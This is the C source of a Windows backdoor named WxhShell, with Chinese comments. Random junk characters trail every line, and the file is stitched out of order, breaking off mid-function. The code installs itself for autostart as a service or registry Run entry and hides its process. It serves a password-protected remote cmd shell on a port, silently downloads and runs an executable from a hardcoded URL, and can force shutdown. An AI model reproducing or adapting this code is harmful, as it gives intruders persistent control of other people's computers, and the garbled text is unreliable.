  // 关机 aU5t|S6  
  case 'd': { #_4L/LV  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); `7+?1 z  
    if(Boot(SHUTDOWN)) 67Ge}6*2pd  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hF!yp7l;  
    else { mn4j#-  
    closesocket(wsh); h jW RU#  
    ExitThread(0); M[HPHNsA&  
    } $ 'HiNP {c  
    break; h4!$,%"''  
    } ;%Jp@'46  
  // 获取shell QMHeU>  
  case 's': {  m ,qU})  
    CmdShell(wsh); 69\0$O  
    closesocket(wsh); !=I:Uc-Y  
    ExitThread(0); pO=bcs8Z  
    break; 0nG& LL5  
  } <)y'Ot0 y  
  // 退出 z{;W$SO 2  
  case 'x': { Y"G$^3% (]  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Koahd =  
    CloseIt(wsh); aD 24)?db-  
    break; H~@aT7  
    } K)@]vw/\  
  // 离开 H;Z{R@kf  
  case 'q': { CM8WI~  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); W=PDOzB>K  
    closesocket(wsh); R+rHa#M_  
    WSACleanup(); l AE$HP'o  
    exit(1); *slZ17xg  
    break; bAt!9uFn  
        } :IbrV@gN{@  
  } Xgr|~(^  
  } R# mZYg  
0Rrz   
  // 提示信息 xLq+n jH E  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {Yv |C)O  
} cidS/OH  
  } eHd{'J<  
v>7tJ[s  
  return; Pr@ EpO  
} UyTq(7uo  
,Lox?}t  
// shell模块句柄 x8tRa0-q  
int CmdShell(SOCKET sock) W  $H8[G  
{ ]N2'L!4|;  
STARTUPINFO si; `[57U,v  
ZeroMemory(&si,sizeof(si)); ;,@3bu>r  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Ba!`x<wa  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 2ggW4`"c  
PROCESS_INFORMATION ProcessInfo; /.7x[Yc  
char cmdline[]="cmd"; s13Iu#  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); $?ke "  
  return 0; 6L'cD1pu  
} :8yrtbf$  
K xh)'aal  
// 自身启动模式 \ 1ys2BX  
int StartFromService(void) F#Z]Xq0r  
{ q2&&n6PYW  
typedef struct ~'v^__8  
{ r(J7&vR}h  
  DWORD ExitStatus; lT1*e(I  
  DWORD PebBaseAddress; I{B8'n{cN  
  DWORD AffinityMask; klv^310  
  DWORD BasePriority; Scxf5x-  
  ULONG UniqueProcessId; Y2<Z"D`  
  ULONG InheritedFromUniqueProcessId; |;9OvR> A  
}   PROCESS_BASIC_INFORMATION; ;2#HM^Mu  
LvhF@%(9J  
PROCNTQSIP NtQueryInformationProcess; 2*%0m^#^6  
yd#4b`8U`  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; i&Xr+Zsec"  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; - uliND  
h`&mW w  
  HANDLE             hProcess; ]V><gZ  
  PROCESS_BASIC_INFORMATION pbi; pr@8PD2%  
*N< 22w  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); N[dhNK"  
  if(NULL == hInst ) return 0; }*IX34  
n3~xiQ'  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); )x?F1/  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); w4RP*Da?:  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess");  QqtFNG  
Vk{0)W7  
  if (!NtQueryInformationProcess) return 0; Kgk9p`C(  
3PI{LU  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); f^m8 4o'  
  if(!hProcess) return 0; VUagZ 7p  
sN^R Z0!>  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 4Q_2GiF_ ?  
PM o>J|^  
  CloseHandle(hProcess); X B65,l  
}SUe 4r&4}  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); jpOi Eo  
if(hProcess==NULL) return 0; > *vI:MG8  
(p^q3\  
HMODULE hMod; yd`.Rb&V  
char procName[255]; f0MHh5  
unsigned long cbNeeded; R"=G?d)  
@qg=lt|(F  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 1fEV^5I  
@i6D&e=  
  CloseHandle(hProcess); .CwMxuW  
vV8 y_  
if(strstr(procName,"services")) return 1; // 以服务启动 kmo3<'j{  
-L1{0{Z  
  return 0; // 注册表启动 ;Q? Qwda  
} UAUo)VVi"  
)v0m7L v#/  
// 主模块 A%%WPBk{O  
int StartWxhshell(LPSTR lpCmdLine) rw8db'  
{ zF\k*B  
  SOCKET wsl; wzP>Cq  
BOOL val=TRUE; SijC E~P  
  int port=0; :mY(d6#A>  
  struct sockaddr_in door; &d9";V"E  
F0Rk[GM  
  if(wscfg.ws_autoins) Install(); WElB,a-RCp  
vIz~B2%x  
port=atoi(lpCmdLine); J} %&;uv  
wQ4/eQ*  
if(port<=0) port=wscfg.ws_port; M6y:ze  
"d%":F(  
  WSADATA data; 9b()ck-\F#  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; a;([L8^7$l  
@Je{;1   
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   611:eLyy&l  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); l(%bdy  
  door.sin_family = AF_INET; OC"W=[Myl  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); J"I{0>@  
  door.sin_port = htons(port); ^om(6JL2  
!63x^# kg  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 9J0m  
closesocket(wsl); U,aV {qz  
return 1; ^ 8egn|  
} au0)yg*V1  
>qAQNX  
  if(listen(wsl,2) == INVALID_SOCKET) { NWv1g{M  
closesocket(wsl); ,%>/8*  
return 1; LT# *nr  
} 6W#M[0  
  Wxhshell(wsl); M2vYOg`t:c  
  WSACleanup(); /,GDG=ra  
sh E>gTe  
return 0; </qXKEu`_  
CbI[K|  
} z1(rHJd  
M nH4p  
// 以NT服务方式启动 g^4'42UX  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) =#n|t[h-  
{ A2* z  
DWORD   status = 0; G#3 O^,m  
  DWORD   specificError = 0xfffffff; #pE : !D  
v34XcA  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 0 .t;i4  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Rf2;O<  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 'd0]`2tVg4  
  serviceStatus.dwWin32ExitCode     = 0; O62H4oT  
  serviceStatus.dwServiceSpecificExitCode = 0; V. \do"m  
  serviceStatus.dwCheckPoint       = 0; iHWl%]7sN  
  serviceStatus.dwWaitHint       = 0; A$[@AY$MI  
trtI^^/%  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Z5_U D  
  if (hServiceStatusHandle==0) return; DHgEhf]  
qZCA16  
status = GetLastError(); ?uOdqMJV  
  if (status!=NO_ERROR) f!0*^d  
{ 6'+3""\  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Y2QlK1.8V  
    serviceStatus.dwCheckPoint       = 0; l#V"14y  
    serviceStatus.dwWaitHint       = 0; ~48Uch\LG:  
    serviceStatus.dwWin32ExitCode     = status; |f?tyQ  
    serviceStatus.dwServiceSpecificExitCode = specificError; 9m%[ y1v0  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); b2r@vZ]D  
    return; [bH6>{3u  
  } e ST8>r  
D~U 4K-  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 0bS\VUB(  
  serviceStatus.dwCheckPoint       = 0; N3 07lGb  
  serviceStatus.dwWaitHint       = 0; :74)nbS  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); .KXpB7:  
} oG3>lqBwD2  
k0!b@ c  
// 处理NT服务事件,比如:启动、停止 Mm+_>   
VOID WINAPI NTServiceHandler(DWORD fdwControl) 50Pz+:  
{ |SQ5Sb  
switch(fdwControl) Et4gRS)\  
{ >Vn;1|w  
case SERVICE_CONTROL_STOP: '@ (WT~g  
  serviceStatus.dwWin32ExitCode = 0; gGH<%nHW1  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 7b \HbgZ  
  serviceStatus.dwCheckPoint   = 0; aXhgzI5]  
  serviceStatus.dwWaitHint     = 0; ]B5qv6  
  { rpQB# Pz  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); egK,e?~  
  } aOA;"jR1  
  return; d^!)',`  
case SERVICE_CONTROL_PAUSE: =Y?M#3P.I  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; [8(e`6xePb  
  break; ~4`LOROC  
case SERVICE_CONTROL_CONTINUE: _<yJQ|[z~i  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 'k{pWfn=<  
  break; 8{(;s$H~  
case SERVICE_CONTROL_INTERROGATE: 59F AhEg  
  break; yL7a*C&  
}; 0!eZ&.h?4  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); oV&AJ=|\  
} q1.w8$  
y4w{8;Mh  
// 标准应用程序主函数 t+|c)"\5h  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) (kK6=Mrf  
{ ^8ZVB.Fv  
J-au{eP^  
// 获取操作系统版本 #t>w)`bA-  
OsIsNt=GetOsVer(); GxuFO5wz  
GetModuleFileName(NULL,ExeFile,MAX_PATH); sFT-aLpL@V  
R%"wf   
  // 从命令行安装 r**u=q %p  
  if(strpbrk(lpCmdLine,"iI")) Install(); 4S`2")V  
Fi14_{  
  // 下载执行文件 [x kbzJ  
if(wscfg.ws_downexe) { `lRZQ:27X  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) F%UyFUz  
  WinExec(wscfg.ws_filenam,SW_HIDE); N~=p+Ow[H  
} {AoH  
;*{y!pgb  
if(!OsIsNt) { n? e&I>1W  
// 如果时win9x,隐藏进程并且设置为注册表启动 :-fCyF)EI  
HideProc(); 2,{m>fF  
StartWxhshell(lpCmdLine); GKTrf\"c  
} jSsbLa@  
else U,_uy@fE=?  
  if(StartFromService()) y)0r%=  
  // 以服务方式启动 b%IRIi&,  
  StartServiceCtrlDispatcher(DispatchTable); .J6Oiv.E  
else %AwR4"M  
  // 普通方式启动 8 2nQ]  
  StartWxhshell(lpCmdLine); w+)MrB-}  
P:eY>~m<;  
return 0; 66NJ&ac  
} U p=J&^.  
5 ?~ ?8Hi  
d9^ uEz(  
u 0(H!  
=========================================== 5(W`{{AW  
$p#)xx7  
\dO9nwa?  
W3Oj6R  
u,mC`gz  
..`J-k  
" hK5BOq!y  
tgCEz%  
#include <stdio.h> :s`~m;Y9?  
#include <string.h> D[yOFJ~p)  
#include <windows.h> j qfxQ  
#include <winsock2.h> H`odQkZ!  
#include <winsvc.h> %C^U?m`  
#include <urlmon.h> :Q@=;P2  
FR"yGx#$  
#pragma comment (lib, "Ws2_32.lib") f s_6`Xt  
#pragma comment (lib, "urlmon.lib") gVO<W.?  
8h  
#define MAX_USER   100 // 最大客户端连接数 L 1iA ^ x  
#define BUF_SOCK   200 // sock buffer R>f$*T  
#define KEY_BUFF   255 // 输入 buffer 9. :r;HG  
1Tz5tU9kR  
#define REBOOT     0   // 重启 p_pI=_:  
#define SHUTDOWN   1   // 关机 ? WyL|;b*  
s tvI  
#define DEF_PORT   5000 // 监听端口 yxP(|  
\wwY?lOe  
#define REG_LEN     16   // 注册表键长度 wQ-pIi{G  
#define SVC_LEN     80   // NT服务名长度 ^NwXvp>7-  
Sqw:U|h\FS  
// 从dll定义API 2Hl0besm  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); I-<U u 2  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); TJjcX?:(  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); xXkP(^ Y  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); VUAW/  
8@ y@}  
// wxhshell配置信息 O75^(keW  
struct WSCFG { Z3X/SQ'0  
  int ws_port;         // 监听端口 y;aZMT.YI  
  char ws_passstr[REG_LEN]; // 口令 ,kS3Ioj  
  int ws_autoins;       // 安装标记, 1=yes 0=no sx7;G^93  
  char ws_regname[REG_LEN]; // 注册表键名 [*^` rQ  
  char ws_svcname[REG_LEN]; // 服务名 "O@L IR7  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 /o%J / |  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 rV;X1x}l  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 r1dP9MT\8  
int ws_downexe;       // 下载执行标记, 1=yes 0=no pD;'uEFBQ  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" AT*J '37  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 3Run.Gv\  
V/xGk9L~  
}; 8ExEhBX8  
)%H@.;cD_r  
// default Wxhshell configuration k<xPg5  
struct WSCFG wscfg={DEF_PORT, =*<Cw?Gc  
    "xuhuanlingzhe", Xo^P=uf%  
    1, 7:iTx;,v  
    "Wxhshell", <=D !/7$ O  
    "Wxhshell", eb%`ox@&  
            "WxhShell Service", 5M6`\LyU  
    "Wrsky Windows CmdShell Service", 9C9>V]  
    "Please Input Your Password: ", 3Ov? kWFO  
  1, Ne>yFl"u  
  "http://www.wrsky.com/wxhshell.exe", !Q(xA,p  
  "Wxhshell.exe" j8gw]V/B:  
    }; JAEn 72  
Y.FqWJP=p  
// 消息定义模块 n~`1KC4  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; zb<YYJ]  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 'VVEd[  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ;QZ}$8D6Q  
char *msg_ws_ext="\n\rExit."; E&js`24 &  
char *msg_ws_end="\n\rQuit."; @q8h'@sX  
char *msg_ws_boot="\n\rReboot..."; 4R<bfZ43  
char *msg_ws_poff="\n\rShutdown..."; y8~/EyY|^  
char *msg_ws_down="\n\rSave to "; (|Zah1k&]  
e0rh~@E  
char *msg_ws_err="\n\rErr!"; Qy< ~{6V  
char *msg_ws_ok="\n\rOK!"; ICq  
9*`(*>S  
char ExeFile[MAX_PATH]; /XEt2,sI9  
int nUser = 0; p@`]9tLP(K  
HANDLE handles[MAX_USER]; Zw4z`x1f  
int OsIsNt; /O@TqH  
V!^5#A<  
SERVICE_STATUS       serviceStatus; ,dyCuH!B  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Lmp_8q-Ej  
YC,s]~[[   
// 函数声明 (tY0/s  
int Install(void); .r=F'i}-j*  
int Uninstall(void); b9 Gq';o  
int DownloadFile(char *sURL, SOCKET wsh);  }\ ^J:@  
int Boot(int flag); |/!3N  
void HideProc(void); c-s A?q#|  
int GetOsVer(void); ^)wTCkH&y  
int Wxhshell(SOCKET wsl); ON r}{T%@/  
void TalkWithClient(void *cs); Xo,}S\wcn  
int CmdShell(SOCKET sock); #H8% BZyV  
int StartFromService(void); ~6bf-Wg'X  
int StartWxhshell(LPSTR lpCmdLine); ! J7ExfEA  
5}v<?<l9\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); TDqH"q0  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); )7`2FLG  
a8Va3Y  
// 数据结构和表定义 o'#ow(X  
SERVICE_TABLE_ENTRY DispatchTable[] = A.[~}ywH  
{ %t.L;G  
{wscfg.ws_svcname, NTServiceMain}, S8_>Lw  
{NULL, NULL} ^"  
}; ]x12_+  
'=eG[#gy  
// 自我安装 4 C7z6VWg  
int Install(void) LN!e_b  
{ 6 +2M$3_U  
  char svExeFile[MAX_PATH]; eG&3E`[  
  HKEY key; v%|S)^c?:  
  strcpy(svExeFile,ExeFile); q`u^ sc  
Ja`xG{~Y7i  
// 如果是win9x系统,修改注册表设为自启动 #gQaNc?  
if(!OsIsNt) { h! yI(cY  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %qI.Qw$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); sfo+B$4|  
  RegCloseKey(key); TAE@KSPvo  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }I )%Gw  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |O!G[|/3  
  RegCloseKey(key); kuX{2h*`  
  return 0; !Au@\/}  
    } 7k<6oM1  
  } BSyl!>G6n8  
} ]i)g!J8f-  
else { sFrerv&0  
%k+G-oT5  
// 如果是NT以上系统,安装为系统服务 W08rGY  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); wR(>' ?  
if (schSCManager!=0) z\F#td{r  
{ $F#eD 0|  
  SC_HANDLE schService = CreateService #uc9eh}CWO  
  ( ORdS|y;:  
  schSCManager, 26K sP .-  
  wscfg.ws_svcname, |mS-<e8LY4  
  wscfg.ws_svcdisp, gt>k]0  
  SERVICE_ALL_ACCESS, AJJa<c+j  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , P #PRzt  
  SERVICE_AUTO_START, 7kT&}`g.  
  SERVICE_ERROR_NORMAL, }M0GPpv  
  svExeFile, g]mR;T3  
  NULL, rYn)E=FG/  
  NULL, 8mh@C6U  
  NULL, C)z?-f  
  NULL, J^y}3ON  
  NULL -u nK;  
  ); zn3]vU!  
  if (schService!=0) nD5+&M0  
  { 8aMmz!S  
  CloseServiceHandle(schService); Y<WA-dYoF  
  CloseServiceHandle(schSCManager); >;NiG)Z  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); @ =XJ<  
  strcat(svExeFile,wscfg.ws_svcname); E&_q"jJRi  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { s` $YY_  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); mzGMYi*  
  RegCloseKey(key); 0nu&JQ  
  return 0; b;2[E/JKB  
    } +qiI;C_P\  
  } -(Fhj Ir  
  CloseServiceHandle(schSCManager); n@PXC8}  
} f [DZ  
} />0 Bm`A  
{yCE>F\  
return 1; Ij{ K\{y  
} +YFAZv7`  
}fqy vI  
// 自我卸载 Vm8rQFCp74  
int Uninstall(void) \b6vu^;p  
{ W>'KE:!sp  
  HKEY key; pH/_C0e`7  
`D,mZj/b  
if(!OsIsNt) { pl.x_E,HP  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { PFSh_9. q  
  RegDeleteValue(key,wscfg.ws_regname); K2@],E?e%|  
  RegCloseKey(key); C(J+tbk  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Evy_I+l  
  RegDeleteValue(key,wscfg.ws_regname); zPyN2|iFah  
  RegCloseKey(key); ~R*01AnZ  
  return 0; e9p!Caf~I-  
  } Wi"3kps q  
} 3jzmiS]  
} C lWxL#L6~  
else { gnWEsA\!  
>ca w :  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); QTmMj@R&(  
if (schSCManager!=0) /$=<RUE  
{ qo!6)Z  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); RemjiCE0'  
  if (schService!=0) F['%?+<3  
  { H9Dw#.em  
  if(DeleteService(schService)!=0) { <HXzcWQ$  
  CloseServiceHandle(schService); 4%"Df1 U  
  CloseServiceHandle(schSCManager); + :;6kyM6X  
  return 0; iw=~j  
  } l<8+>W`_  
  CloseServiceHandle(schService); -Crm#Ib~  
  } `s|^  
  CloseServiceHandle(schSCManager); XQI!G_\+C  
} &S9O:>=*  
} pp1kcrE\M  
Y0;66bfh}  
return 1; GbfA-\  
} /`+ubFXc  
MnB Hm!]&  
// 从指定url下载文件 R^Y>v5jAe  
int DownloadFile(char *sURL, SOCKET wsh) iL8:I)z  
{ n h&[e  
  HRESULT hr; CSVL,(Uw  
char seps[]= "/"; Mq Q'Kjo  
char *token; NhRKP"<CO  
char *file; t+IrQf,P[  
char myURL[MAX_PATH]; W@p27Tiq  
char myFILE[MAX_PATH]; Dwbt^{N ^  
|,lw$k93  
strcpy(myURL,sURL); n^2'O:V s  
  token=strtok(myURL,seps); FC q&-  
  while(token!=NULL)  BRF4 p:  
  { `-yiVUp1:z  
    file=token; W+'f|J=  
  token=strtok(NULL,seps); eQ80Kf~  
  } 5XF&yYWq  
wfq}NK;  
GetCurrentDirectory(MAX_PATH,myFILE); /=gU  
strcat(myFILE, "\\"); R&@NFin  
strcat(myFILE, file); 30<3DA_P  
  send(wsh,myFILE,strlen(myFILE),0); Q4B(NYEu(  
send(wsh,"...",3,0); /" 6Gh'  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Nf1&UgX  
  if(hr==S_OK) ' )~G2Ys  
return 0; 4O>0gK{w  
else Z,:}H6Mj9  
return 1; yo]8QO]97  
(P|k$S?m  
} FKU)# Eo  
j*L-sU  
// 系统电源模块 39oI &D>8  
int Boot(int flag) `(&GLv[i^2  
{ 2bt).gGm  
  HANDLE hToken; +O?`uV  
  TOKEN_PRIVILEGES tkp; 4cZlQ3OE.  
~ea&1+Z[3  
  if(OsIsNt) { oA`G\Xh_E  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); evro]&N{  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); iXD=_^^o .  
    tkp.PrivilegeCount = 1; M|IgG:a;T  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; @q<d^]po  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); is6d:p  
if(flag==REBOOT) { !+Zso&  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) mt]50}eK  
  return 0; ?(E?oJ)(  
} EE,C@d!*k7  
else { qLk7C0  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) F ,h}HlU  
  return 0; }cd-BW  
} ROj9#:  
  } x>[f+Tc  
  else { C3-I5q(V]  
if(flag==REBOOT) { tr$d?  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Bs';!,=  
  return 0; n{E9p3i  
} =0_((eXwf  
else { l( uV@_3  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) z18<rj  
  return 0; sV-UY!   
} !WNO!S0/j  
} |6T"T P  
oG' 'my#3  
return 1; =0mXTY1  
} $x;(C[  
&O|qx~(  
// win9x进程隐藏模块 UmOK7SPi  
void HideProc(void) qd@Fb*  
{ Bt(U,nFB  
(/gMtIw  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ?X3uPj9if  
  if ( hKernel != NULL ) (F'?c1  
  { 6;p"xC-  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); *#c^.4$'  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); cW?~]E'<  
    FreeLibrary(hKernel); Qo])A6$IU  
  } 3im2 `n  
)mE67{YJh~  
return; ,N@N4<C]  
} BBHoD:l  
;`rz]7,*  
// 获取操作系统版本 jGFDj"Y  
int GetOsVer(void) jOU1F1  
{ ;-d2~1$  
  OSVERSIONINFO winfo; y0\=F  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); h45RwQ5Z  
  GetVersionEx(&winfo); cBDOA<]r,  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) != u S  
  return 1; Z8q*XpUH  
  else Jk,}3Cr/  
  return 0; Hg`2- Nl  
} T74."Lo#  
L ]QBh\  
// 客户端句柄模块 -14~f)%NQ*  
int Wxhshell(SOCKET wsl) mmBZ}V+&=  
{ L^{wxOf&6E  
  SOCKET wsh; {!37w[s~  
  struct sockaddr_in client; 8Lh[>|~=  
  DWORD myID; -< }#ImTN  
jU_#-<'r  
  while(nUser<MAX_USER) L; 'C5#GN  
{ 1j\wvPLr  
  int nSize=sizeof(client); =8 01nZJ  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); HRW }Yl  
  if(wsh==INVALID_SOCKET) return 1; @+(a{%~7y  
:AM_C^j~ D  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); $S2kc$'F  
if(handles[nUser]==0) =(W l'iG   
  closesocket(wsh); _{48s8V  
else 8e}8@[h  
  nUser++; L0>w|LpRc  
  } nWsR;~pK  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Vho^a:Z9}W  
g33Y]\  
  return 0; ;%Rp=&J  
} _T(MMc  
Z$2Vd`XP  
// 关闭 socket ?J's>q^X  
void CloseIt(SOCKET wsh) #u$ Z/,  
{ A^@,Ha  
closesocket(wsh); kf2e-)uUs  
nUser--; x(bM   
ExitThread(0); 8I%N^G  
} Xr$hQbl5D  
O*-sSf   
// 客户端请求句柄 ^=Egf?|[  
void TalkWithClient(void *cs) <PTi>C8;r  
{ g].v  
.Af H>)E  
  SOCKET wsh=(SOCKET)cs; #Q$`3rr  
  char pwd[SVC_LEN]; | sZu1K  
  char cmd[KEY_BUFF]; g0"KC X  
char chr[1]; -KU@0G  
int i,j; Ps9YP B-  
%LBT:Aw  
  while (nUser < MAX_USER) { n^$HC=}S  
["XS|"DM  
if(wscfg.ws_passstr) { 8,YxCm ie  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); E K#ib  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); eVB.g@%T  
  //ZeroMemory(pwd,KEY_BUFF); \'Ewn8Qv8  
      i=0; iWMgU:T  
  while(i<SVC_LEN) { dX ;G [\  
dxF/]>t  
  // 设置超时 I<L<xwh1(E  
  fd_set FdRead; uc-Go 6W  
  struct timeval TimeOut; n9r3CLb[  
  FD_ZERO(&FdRead); wVY;)1?  
  FD_SET(wsh,&FdRead); ~ZXAW~a}  
  TimeOut.tv_sec=8; C! J6"j  
  TimeOut.tv_usec=0; ~n`G>Oe3  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); \|q.M0  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 2Ik@L,  
X^ZUm  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); i"U<=~  
  pwd=chr[0]; XIJ{qrDr  
  if(chr[0]==0xd || chr[0]==0xa) { P'q . _U  
  pwd=0; 8@'Q=".J  
  break; *'h vYl/?>  
  } @iD5X.c  
  i++; Rhil]|a/  
    } NJTC+`Hm  
dI|`"jl#  
  // 如果是非法用户,关闭 socket vV+>JM6<K  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 'ktWKW$ D  
} O4w:BWVsn  
>m&r,z  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); PmT,*C`/X  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ufWd) Q  
'c|Y*2@  
while(1) { H-Z1i  
d( +E0  
  ZeroMemory(cmd,KEY_BUFF); XG_Iq ,  
UON W3}-  
      // 自动支持客户端 telnet标准   )./.rtP|4  
  j=0; BdZO$ALXL  
  while(j<KEY_BUFF) { PM!7ci  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); k7ODQ(*v  
  cmd[j]=chr[0]; =D6H?K-k!  
  if(chr[0]==0xa || chr[0]==0xd) { C>*]a(5k  
  cmd[j]=0; (Jb[_d*  
  break; MX#MDA-4  
  } Z`lCS o;  
  j++; 1WMwTBHy+  
    } !%_H1jk  
ua!g}m~  
  // 下载文件 k 1   
  if(strstr(cmd,"http://")) { IRW%*W#  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); J((.zLvz  
  if(DownloadFile(cmd,wsh)) M=aWL!nJ  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,0R2k `m!  
  else M:OJL\0  
